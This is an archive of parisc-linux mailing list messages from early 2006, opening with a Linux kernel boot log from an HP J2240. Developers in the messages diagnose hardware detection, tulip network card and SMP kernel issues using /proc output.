Version 0.9a STI PCI graphic ROM found at f1ff0000 (64 kB), fb at f6000000
(32 MB)
    id 2d08c0a7-9a02587, conforms to spec rev. 8.0a
    graphics card name: PCI_GRAFFITIX1280
fb0: stifb 1280x1024-8 frame buffer device, PCI_GRAFFITIX1280, id: 2d08c0a7,
mmi
o: 0xf6100000
unwind_init: start = 0x103b6720, end = 0x103d7f40, entries = 8578
VFS: Disk quotas dquot_6.5.1
Dquot-cache hash table entries: 1024 (order 0, 4096 bytes)
devfs: 2004-01-31 Richard Gooch (rgooch@atnf.csiro.au)
devfs: boot_options: 0x0
Initializing Cryptographic API
Soft power switch enabled, polling @ 0xf0140000.
Console: switching to colour frame buffer device 160x64 Generic RTC Driver
v1.07
Serial: 8250/16550 driver $Revision: 1.90 $ 25 ports, IRQ sharing enabled
ttyS0 at MMIO 0xfc003800 (irq = 106) is a 16550A
ttyS1 at MMIO 0xf1607800 (irq = 170) is a 16550A RAMDISK driver initialized:
16 RAM disks of 8192K size 1024 blocksize
mice: PS/2 mouse device common for all mice
serio: GSC PS2 keyboard port at 0xffd08000 irq 69 @ parisc8:12:7
input: AT Raw Set 2 keyboard on parisc8:12:7
serio: GSC PS2 mouse port at 0xffd08100 irq 69 @ parisc8:12:8 HP SDC: No SDC
found.
HP SDC MLC: Registering the System Domain Controller's HIL MLC.
HP SDC MLC: Request for raw HIL ISR hook denied
NET: Registered protocol family 2
IP: routing cache hash table of 4096 buckets, 96Kbytes
TCP: Hash tables configured (established 131072 bind 52428)
RAMDISK: cramfs filesystem found at block 0
RAMDISK: Loading 4856 blocks [1 disk] into ram disk... done.
VFS: Mounted root (cramfs filesystem) readonly.
Freeing unused kernel memory: Badness in smp_call_function at
arch/parisc/kernel
/smp.c:342
Backtrace:
 [<1011963c>] smp_call_function+0x408/0x410  [<101088fc>]
flush_data_cache+0x24/0x40  [<10107a58>] free_initmem+0x78/0x38c
[<10103d30>] init+0x304/0x410  [<10110c5c>] ret_from_kernel_thread+0x1c/0x24

344k freed
NET: Registered protocol family 1
sym0: <895> rev 0x1 at pci 0000:01:13.0 irq 131
sym0: No NVRAM, ID 7, Fast-40, SE, parity checking
sym0: SCSI BUS has been reset.
sym0: SCSI BUS mode change from SE to SE.
sym0: SCSI BUS has been reset.
scsi0 : sym-2.1.18k
Using anticipatory io scheduler
  Vendor: IBM       Model: DDRS-39130WS      Rev: HP01
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym0:5:0: tagged command queuing enabled, command queue depth 16.
scsi(0:0:5:0): Beginning Domain Validation
sym0:5: wide asynchronous.
sym0:5: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 15)
scsi(0:0:5:0): Domain Validation skipping write tests
scsi(0:0:5:0): Ending Domain Validation
  Vendor: IBM       Model: DDRS-39130WS      Rev: HP01
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym0:6:0: tagged command queuing enabled, command queue depth 16.
scsi(0:0:6:0): Beginning Domain Validation
sym0:6: wide asynchronous.
sym0:6: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 15)
scsi(0:0:6:0): Domain Validation skipping write tests
scsi(0:0:6:0): Ending Domain Validation
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi1: 53c710 rev 2
scsi1 : LASI SCSI 53c700
  Vendor: TOSHIBA   Model: CD-ROM XM-5701TA  Rev: 1557
  Type:   CD-ROM                             ANSI SCSI revision: 02
scsi(1:0:2:0): Beginning Domain Validation
scsi1: (2:0) Asynchronous
scsi1: (2:0) Synchronous at offset 8, period 100ns
scsi(1:0:2:0): Domain Validation skipping write tests
scsi(1:0:2:0): Ending Domain Validation
  Vendor: HP        Model: C1537A            Rev: HP02
  Type:   Sequential-Access                  ANSI SCSI revision: 02
scsi(1:0:3:0): Beginning Domain Validation
scsi1: (3:0) Asynchronous
scsi1: (3:0) Synchronous at offset 8, period 100ns
scsi(1:0:3:0): Domain Validation skipping write tests
scsi(1:0:3:0): Ending Domain Validation
usbcore: registered new driver hub
usbcore: registered new driver usbkbd
drivers/usb/input/usbkbd.c: :USB HID Boot Protocol keyboard driver
usbcore: registered new driver hiddev
usbcore: registered new driver usbhid
drivers/usb/input/hid-core.c: v2.0:USB HID core driver Linux Tulip driver
version 1.1.13 (May 11, 2002)
tulip0:  EEPROM default media type Autosense.
tulip0:  Index #0 - Media MII (#11) described by a 21142 MII PHY (3) block.
tulip0: ***WARNING***: No MII transceiver found!
eth0: Digital DS21143 Tulip rev 33 at 0xfd810000, 00:60:B0:B2:FC:F5, IRQ 99.
tulip1: no phy info, aborting mtable build
tulip1:  MII transceiver #1 config 1000 status 7809 advertising 01e1.
eth1: Digital DS21143 Tulip rev 48 at 0xfc802000, 00:60:B0:A4:F3:F1, IRQ
128.
Uniform Multi-Platform E-IDE driver Revision: 7.00alpha2
ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx
SCSI device sda: 17773524 512-byte hdwr sectors (9100 MB) SCSI device sda:
drive cache: write through
 /dev/scsi/host0/bus0/target5/lun0: p1 p2 p3 < p5 p6 > Attached scsi disk
sda at scsi0, channel 0, id 5, lun 0 SCSI device sdb: 17773524 512-byte hdwr
sectors (9100 MB) SCSI device sdb: drive cache: write through
 /dev/scsi/host0/bus0/target6/lun0:
Attached scsi disk sdb at scsi0, channel 0, id 6, lun 0
sr0: scsi-1 drive
Uniform CD-ROM driver Revision: 3.20
Attached scsi CD-ROM sr0 at scsi1, channel 0, id 2, lun 0 kjournald
starting.  Commit interval 5 seconds
EXT3-fs: mounted filesystem with ordered data mode.
Adding 353388k swap on /dev/sda6.  Priority:-1 extents:1
EXT3 FS on sda5, internal journal
ehci_hcd: block sizes: qh 128 qtd 96 itd 192 sitd 96
ohci_hcd: 2004 Feb 02 USB 1.1 'Open' Host Controller (OHCI) Driver (PCI)
ohci_hcd: block sizes: ed 64 td 64
USB Universal Host Controller Interface driver v2.2 Attached scsi generic
sg0 at scsi0, channel 0, id 5, lun 0,  type 0 Attached scsi generic sg1 at
scsi0, channel 0, id 6, lun 0,  type 0 Attached scsi generic sg2 at scsi1,
channel 0, id 2, lun 0,  type 5 Attached scsi generic sg3 at scsi1, channel
0, id 3, lun 0,  type 1
st: Version 20040403, fixed bufsize 32768, s/g segs 256 Attached scsi tape
st0 at scsi1, channel 0, id 3, lun 0
st0: try direct i/o: yes (alignment 512 B), max page reachable by HBA
1048575 module ipv6 relocation of symbol ipv6_chk_addr is out of range
(0x3ffefffd in 17
 bits)
module ipv6 relocation of symbol ipv6_chk_addr is out of range (0x3ffefffd
in 17
 bits)
dirmngr (pid 1983): Protection id trap (code 7) at 4000201f

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001111 Not tainted
r00-03  00000000 400023a0 4000201c faf00778
r04-07  40734a58 0001fd60 00000006 00000001
r08-11  00046ea8 00046ea8 000476a8 000001f6
r12-15  00000003 faf00130 00000000 00000001
r16-19  00000000 00000000 00000000 4077ada8
r20-23  00000001 4060d57c faf00778 00000000
r24-27  4077b424 00000000 4077b378 00045ea8
r28-31  00000000 ffffffff 40002308 40754083
sr0-3   00000c22 00000c22 00000000 00000c22
sr4-7   00000c22 00000c22 00000c22 00000c22

IASQ: 00000c22 00000c22 IAOQ: 4000201f 40002023
 IIR: 43ffff40    ISR: 102401e9  IOR: 3fb7b660
 CPU:        0   CR30: 8a538000 CR31: 10468000
 ORIG_R28: 00000000
 IAOQ[0]: 0x4000201f
 IAOQ[1]: 0x40002023
 RP(r2): 0x4000201c
parport_pc: Unknown symbol dma_spin_lock
lp: driver loaded but no devices found
NET: Registered protocol family 5
module ipv6 relocation of symbol ipv6_chk_addr is out of range (0x3ffefffd
in 17
 bits)
module ipv6 relocation of symbol ipv6_chk_addr is out of range (0x3ffefffd
in 17
 bits)
module ipv6 relocation of symbol ipv6_chk_addr is out of range (0x3ffefffd
in 17
 bits)












-----Original Message-----
From: varenet@gmail.com [mailto:varenet@gmail.com] On Behalf Of Thibaut
VARENE
Sent: Sunday, January 01, 2006 9:16 AM
To: Grant Grundler
Cc: Craig D. Lansing; parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] J2240 - Almost there....

On 1/1/06, Grant Grundler <grundler@parisc-linux.org> wrote:
> On Sat, Dec 31, 2005 at 11:21:06PM -0500, Craig D. Lansing wrote:
> > Duh!!!  Can you tell that it has been a long time since I've had a
"real"
> > computer to play with?
> >
> > Anyway, I now have a dual-boot (HP-UX 10 / Debian Linux) J2240.
> >
> > Here's what SAM thinks is in the system:
>
> "ioscan -fk" is the preferred output and I can
> better understand what is in the box.
> I don't understand what's really built-in or add-on
> with the SAM output.

And while you're at it, i'd love to have the output of 'cat
/proc/cpuinfo' 'cat /proc/iomem' 'cat /proc/ioports' 'cat
/proc/interrupts/' and 'dmesg' from Linux to add to this growing list
:
http://www.pateam.org/archive/logs/ ;)

Thx and happy new year to every one!

T-Bone

--
Thibaut VARENE
http://www.parisc-linux.org/~varenet/

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J2240 - Almost there....
Date: Mon, 2 Jan 2006 19:01:16 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <20060103020116.GI19769@parisc-linux.org>
References: <7d01f9f00601010615v54117490o9a575fd279244524@mail.gmail.com>
	<000401c61003$cea58c60$3401a8c0@POGO>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623973 17602 80.91.229.3 (22 Nov 2014 02:39:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 'Thibaut VARENE' <T-Bone@parisc-linux.org>
To: "Craig D. Lansing" <clansing@charter.net>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jan 2006 02:01:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx047) with SMTP; 03 Jan 2006 03:01:22 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7A7BC7D692;
	Mon,  2 Jan 2006 19:01:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03402-07; Mon, 2 Jan 2006 19:01:20 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D04957D699;
	Mon,  2 Jan 2006 19:01:19 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A692A7D687
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 Jan 2006 19:01:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03347-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 2 Jan 2006 19:01:17 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 23E327D686
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 Jan 2006 19:01:17 -0700 (MST)
Original-Received: by palinux.hppa (Postfix, from userid 26919)
	id 68D344940D7; Mon,  2 Jan 2006 19:01:16 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <000401c61003$cea58c60$3401a8c0@POGO>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: pL/LYxkweSEkXb6WZHQhaXN1IGRvb4Cf
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23318

On Mon, Jan 02, 2006 at 08:19:55PM -0500, Craig D. Lansing wrote:
> f1600000-f3ffffff : GSC Bus [10/]
>   f1604000-f1604fff : Cujo
>   f1607800-f1607807 : serial
>   f1800000-f1ffffff : Cujo LMMIO 0
> f4000000-f5ffffff : GSC Bus [8/]
> f6000000-f7ffffff : GSC Bus [10/]
>   f6000000-f7ffffff : Cujo LMMIO 1
> f8000000-fff7ffff : GSC Bus [8/]
>   fc000000-fc000fff : Cujo
>   fc004000-fc004fff : Dino [8/4]
>   fc800000-fcffffff : Dino [8/4] LMMIO 0
>   fd800000-fdffffff : Cujo LMMIO 0
[...]
> Found devices:
> 1. U2-IOA BC Runway Port at 0xfff88000 [8] { 12, 0xf, 0x580, 0x0000b } 2.
> unknown device at 0xfc000000 [8/0] { 13, 0x3, 0x05d, 0x0000a },  additional
> a
> ddresses: 0xfd800000
[...]
> Cujo version unknown found at 0xfc000000 Dino [8/4] version 3.1 found at
> 0xfc004000 Cujo version 2.0 found at 0xf1604000 Enabling Cujo 2.0 bug
> workaround SCSI subsystem initialized TC classifier action (bugs to

Fixed both of these problems (Dino reported as Cujo and first Cujo
reported as unknown)

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: init pause() on some systems but not all?
Date: Wed,  4 Jan 2006 15:41:33 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <ISKOT9$01479B19DBBD4E611FFAC1EF3F14FD12@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623974 17603 80.91.229.3 (22 Nov 2014 02:39:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:34 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "parisc" <parisc@gmail.com>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jan 2006 14:41:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx014) with SMTP; 04 Jan 2006 15:41:50 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 019957D7B4;
	Wed,  4 Jan 2006 07:41:44 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23052-06; Wed, 4 Jan 2006 07:41:43 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 553B07D7B5;
	Wed,  4 Jan 2006 07:41:43 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 53BB67D7B3
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  4 Jan 2006 07:41:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22900-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 4 Jan 2006 07:41:37 -0700 (MST)
Original-Received: from xizor.is.scarlet.be (xizor.is.scarlet.be [193.74.71.21])
	by free.linux.hp.com (Postfix) with ESMTP id 5C0107D657
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  4 Jan 2006 07:41:37 -0700 (MST)
Original-Received: from (taj.is.scarlet.be [193.74.71.42]) 
	by xizor.is.scarlet.be  with ESMTP id k04EfWw17084; 
	Wed, 4 Jan 2006 15:41:32 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +bvJY5sleSEkfL6WZHQhaXN1IGRvb8B/
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23319

Hello Max,

> Hi Joel & PA,
> 
> I also have the same, or at least similar problem on my c3700
> (2.6.15-rc1-pa1, 2.6.15-rc5-pa3, debian/testing):

Thanks for feedback ;-)

Just a small uptade about 2.5.15-pa1 kernel: the pb is still there ;-/

For what is the very frustating situation, I just view alive the pb occur=
ing
on all my testing systems (b2k, d380, b180, n4k): all were clean, early t=
his
morning when daily cron job started, then after a few moment init() fall =
in
pause() but very hard to tack some picture of process runing on all those=

sytem at this very moment :<(

Any idea?

Thanks,
    Joel

 =0A=0A-------------------------------------------------------=0ANOTE! My=
 email address is changing to ... @scarlet.be=0APlease make the necessary=
 changes in your address book. =0A=0A

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J2240 - Almost there....
Date: Wed, 4 Jan 2006 10:43:32 -0700
Lines: 191
Approved: news@gmane.org
Message-ID: <20060104174332.GB20079@colo.lackof.org>
References: <7d01f9f00601010615v54117490o9a575fd279244524@mail.gmail.com>
	<000401c61003$cea58c60$3401a8c0@POGO>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623974 17607 80.91.229.3 (22 Nov 2014 02:39:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Craig D. Lansing" <clansing@charter.net>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jan 2006 17:34:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx069) with SMTP; 04 Jan 2006 18:34:47 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 145497D7B3;
	Wed,  4 Jan 2006 10:34:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27380-07; Wed, 4 Jan 2006 10:34:35 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E76837D7B4;
	Wed,  4 Jan 2006 10:34:34 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3D9217D7B2
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  4 Jan 2006 10:34:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27380-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 4 Jan 2006 10:34:31 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 766BA7D7B1
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  4 Jan 2006 10:34:31 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 4DB1E36000C;
	Wed,  4 Jan 2006 10:43:33 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19995-09; Wed, 4 Jan 2006 10:43:32 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id B9821360002; Wed,  4 Jan 2006 10:43:32 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <000401c61003$cea58c60$3401a8c0@POGO>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: b2LOY+xNeSEkN76WZHQhaXN1IGRvb0AL
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23320

On Mon, Jan 02, 2006 at 08:19:55PM -0500, Craig D. Lansing wrote:
> Sorry that it took so long to reply.  I spent most of the day driving to /
> from Washington, DC yesterday.  Re-installed and ran into problems as
> follows:
> 
> 1) Got gdm prompt (black&white, really large), but was able to login.  Mouse
> was not recognized after that so I was "stuck" in the desktop.

ctl-alt-backspace will kill the X11 server.

> I was able to login OK in single user command line mode.
> 
> 2) Re-installed after getting the actual "advanced" HP p1120 console specs
> (instead of "simple").  Re-install failed due to "SMP CALL FUNCTION TIMED
> OUT! (cpu=0), try ###" errors (I powered off the box after about 2000 of
> these).

Newer kernels (not sure if 2.6.14, but certainly 2.6.15-pa1) fix this.
(kudos to James Bottomley)

>   Rebooted and got message to run "dpkg --configure -a".  Did that
> and packages installed.  The system now tries to start gdm (flickers a lot),
> but ultimately just goes to a blinking cursor  When I reboot (shutdown -r 0)
> I now get the "Welcome to your new Debian system" prompt.  I guess maybe I
> should re-install again????
> 
> 3) Networking appears to not be working, I assumed that is because of the
> "blacklisted" FDDI card (defxx,DEFPA).

Unlikely.

>   The box has an internal IP address
> 192.168.1.100 and I can't even ping it.  However, I cannot ping the box when
> booted into HP-UX either (192.168.1.200).  Bad card (I tried the obvious of
> another cable)????

Add a 100BT card (tulip or e100) and see if that works better.
According to HW DB, j2240 has DEC21143 (tulip) built-in and I would
expect that to work fine.

Based on the /proc/iomem output below, looks like you have two tulip
devices in the machine. Likely the LAN cable is connected to the wrong one.

> To get the info. requsted below w/o a LAN, I "cheated" and started a getty
> against a serial port, logged in via a Reflection session, and logged to an
> output file... not pretty, but functional.  Sorry if this is more than you
> wanted to see.

no problem.

...
> howlin:~# cat /proc/iomem
> 00000000-7fffffff : System RAM
>   00000000-000009ff : PDC data (Page Zero)
>   00100000-003b4fff : Kernel code
>   003b5000-00513b03 : Kernel data
> f0190000-f0190000 : lcd_cmd
> f0190001-f0190001 : lcd_data
> f1600000-f3ffffff : GSC Bus [10/]
>   f1604000-f1604fff : Cujo
>   f1607800-f1607807 : serial
>   f1800000-f1ffffff : Cujo LMMIO 0
> f4000000-f5ffffff : GSC Bus [8/]
> f6000000-f7ffffff : GSC Bus [10/]
>   f6000000-f7ffffff : Cujo LMMIO 1
>     f6000000-f7ffffff : 0000:02:00.0
>       f6100000-f64fffff : stifb mmio
>       f7000000-f71fffff : stifb fb
> f8000000-fff7ffff : GSC Bus [8/]
>   fc000000-fc000fff : Cujo
>   fc003800-fc003807 : serial
>   fc004000-fc004fff : Dino [8/4]
>   fc800000-fcffffff : Dino [8/4] LMMIO 0
>     fc800000-fc800fff : 0000:01:13.0
>       fc800000-fc800fff : sym53c8xx
>     fc801000-fc8010ff : 0000:01:13.0
>       fc801000-fc8010ff : sym53c8xx
>     fc802000-fc80207f : 0000:01:14.0
>       fc802000-fc80207f : tulip
>   fd800000-fdffffff : Cujo LMMIO 0
>     fd800000-fd80ffff : 0000:00:04.0
>     fd810000-fd81007f : 0000:00:03.0
>       fd810000-fd81007f : tulip
>     fd811000-fd81107f : 0000:00:04.0
>   ffd00000-ffdfffff : Lasi
>     ffd00000-ffd00fff : Lasi
>     ffd06000-ffd06fff : Lasi SCSI
>     ffd08000-ffd08fff : GSC PS2
> fff80000-fffaffff : Central Bus
>   fff88000-fff88fff : U2:Uturn
>   fff8a000-fff8afff : U2:Uturn
>   fffa0000-fffa0fff : CPU
>   fffa2000-fffa2fff : CPU
> fffb0000-fffdffff : Local Broadcast
> fffe0000-ffffffff : Global Broadcast


0000:00:03.0 is tulip in slot 3.
0000:01:14.0 is tulip built-in. (my guess)

> howlin:~# cat /proc/interrupts 
>            CPU00       CPU01 
>  32:     125984     124641      PARISC-CPU  timer
>  33:       8458       9035      PARISC-CPU  IPI
>  34:        120          0      PARISC-CPU  lasi
>  35:          0       1274      PARISC-CPU  Cujo
>  36:       7095          0      PARISC-CPU  Dino [8/4]
>  37:          0          0      PARISC-CPU  Cujo
>  69:         41          0            Lasi  GSC PS2 keyboard, GSC PS2 mouse
>  86:         79          0            Lasi  lasi700
>  99:          0        858            Cujo  eth0

Note that eth0 is routed to Cujo (not dino) - this tulip is in slot 3.

> 106:          0        417            Cujo  serial
> 131:       7095          0      Dino [8/4]  sym53c8xx
